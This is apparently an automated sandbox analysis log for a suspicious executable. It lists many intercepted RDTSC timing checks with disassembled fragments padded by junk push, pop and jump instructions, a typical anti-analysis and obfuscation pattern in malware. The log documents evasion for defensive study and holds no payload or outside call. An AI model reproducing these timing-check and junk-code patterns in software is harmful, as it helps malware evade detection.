Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5964 second address: 11F596A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187D83 second address: 1187DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F5C2120954Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F5C21209556h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187DB1 second address: 1187DC1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5C20C5AC36h 0x00000008 jnl 00007F5C20C5AC36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191A4A second address: 1191A68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C21209553h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9F6F second address: 11F9F74 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200154 second address: 1200162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop ebx 0x00000009 push ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200162 second address: 120016C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200431 second address: 1200439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200439 second address: 120043E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200855 second address: 120086E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C21209555h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120086E second address: 120088E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop esi 0x0000000a jl 00007F5C20C5AC5Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007F5C20C5AC3Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200A32 second address: 1200A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200A36 second address: 1200A55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F5C20C5AC4Dh 0x0000000c jmp 00007F5C20C5AC41h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208BBD second address: 1208BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5C21209546h 0x0000000a jmp 00007F5C21209553h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5C21209556h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208BF3 second address: 1208BF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208BF7 second address: 1208BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207E8C second address: 1207EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5C20C5AC36h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007F5C20C5AC36h 0x00000014 popad 0x00000015 jmp 00007F5C20C5AC3Fh 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5C20C5AC3Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207EC0 second address: 1207EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207EC4 second address: 1207EC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208301 second address: 1208308 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208308 second address: 120831E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5C20C5AC3Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12084C5 second address: 12084D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F5C21209546h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12088F3 second address: 12088F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12088F9 second address: 1208917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C21209554h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208917 second address: 1208921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5C20C5AC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208921 second address: 1208925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208925 second address: 1208943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jnl 00007F5C20C5AC36h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 js 00007F5C20C5AC3Eh 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD9EE second address: 11CD9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD9F3 second address: 11CD9FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDC51 second address: 11CDC57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDC57 second address: 11CDC7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F5C20C5AC36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDC7C second address: 11CDC82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDD9F second address: 11CDDA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDDA3 second address: 11CDDAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDDAC second address: 11CDDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDF0B second address: 11CDF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C21209555h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDF25 second address: 11CDF4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F5C20C5AC38h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE4FA second address: 11CE500 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE832 second address: 11CE836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE836 second address: 11CE83F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE8E5 second address: 11CE8EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE8EB second address: 11CE8F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE8F0 second address: 11CE991 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F5C20C5AC45h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jne 00007F5C20C5AC44h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F5C20C5AC38h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d lea eax, dword ptr [ebp+1248337Eh] 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007F5C20C5AC38h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d mov ecx, dword ptr [ebp+122D310Eh] 0x00000053 sub dword ptr [ebp+122D35A6h], esi 0x00000059 nop 0x0000005a jmp 00007F5C20C5AC44h 0x0000005f push eax 0x00000060 jg 00007F5C20C5AC40h 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE991 second address: 11CE9AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D345Ch], edi 0x0000000d lea eax, dword ptr [ebp+1248333Ah] 0x00000013 stc 0x00000014 nop 0x00000015 push ecx 0x00000016 jo 00007F5C2120954Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE9AF second address: 11CE9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE9BA second address: 11CE9BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE9BE second address: 11CE9C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE9C2 second address: 11B68BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F5C21209555h 0x0000000c pop eax 0x0000000d popad 0x0000000e nop 0x0000000f call dword ptr [ebp+122D216Bh] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a jmp 00007F5C2120954Ah 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189801 second address: 1189807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189807 second address: 1189826 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5C21209546h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 jbe 00007F5C2120954Eh 0x0000001b push edi 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189826 second address: 118982A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118982A second address: 1189830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C2C5 second address: 120C2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 jne 00007F5C20C5AC36h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C58D second address: 120C599 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5C21209546h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C6E5 second address: 120C6ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C9C2 second address: 120C9CC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5C21209546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C9CC second address: 120C9D8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5C20C5AC3Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C9D8 second address: 120C9E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C9E1 second address: 120C9E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C9E9 second address: 120CA09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5C21209550h 0x0000000f jbe 00007F5C21209546h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CBA2 second address: 120CBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CBA6 second address: 120CBCD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5C21209546h 0x00000008 jmp 00007F5C21209559h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CBCD second address: 120CBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CBD1 second address: 120CBD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CBD5 second address: 120CBDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120CBDB second address: 120CBE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5C21209546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216A2A second address: 1216A36 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5C20C5AC36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11985C8 second address: 11985D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F5C21209546h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11985D7 second address: 11985EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC44h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215516 second address: 121553F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5C21209546h 0x0000000a jmp 00007F5C21209550h 0x0000000f je 00007F5C21209546h 0x00000015 popad 0x00000016 je 00007F5C2120954Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121553F second address: 121554B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5C20C5AC42h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121554B second address: 1215551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12156B4 second address: 12156E3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F5C20C5AC3Ah 0x00000008 jmp 00007F5C20C5AC45h 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007F5C20C5AC36h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12156E3 second address: 12156ED instructions: 0x00000000 rdtsc 0x00000002 js 00007F5C21209546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215C42 second address: 1215C48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121600F second address: 1216013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216013 second address: 1216074 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC46h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F5C20C5AC3Eh 0x00000011 push edi 0x00000012 jmp 00007F5C20C5AC40h 0x00000017 push edx 0x00000018 pop edx 0x00000019 pop edi 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pushad 0x0000001f popad 0x00000020 pop edi 0x00000021 push edx 0x00000022 push edi 0x00000023 pop edi 0x00000024 jmp 00007F5C20C5AC48h 0x00000029 pop edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121642D second address: 1216439 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5C21209546h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216439 second address: 121645D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F5C20C5AC36h 0x0000000b pop edx 0x0000000c jbe 00007F5C20C5AC4Ch 0x00000012 jmp 00007F5C20C5AC40h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121525B second address: 121525F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121525F second address: 1215263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215263 second address: 1215269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9B3 second address: 121A9B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9B9 second address: 121A9CF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5C21209558h 0x00000008 jmp 00007F5C2120954Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9CF second address: 121A9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9D7 second address: 121A9EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C21209553h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A9EE second address: 121AA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F5C20C5AC48h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A2AA second address: 121A2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5C2120954Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A2BD second address: 121A2C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A2C3 second address: 121A2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A2C7 second address: 121A2F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007F5C20C5AC3Ah 0x0000000f jmp 00007F5C20C5AC42h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A2F0 second address: 121A2F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A2F4 second address: 121A2FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A6EC second address: 121A70B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C21209558h 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
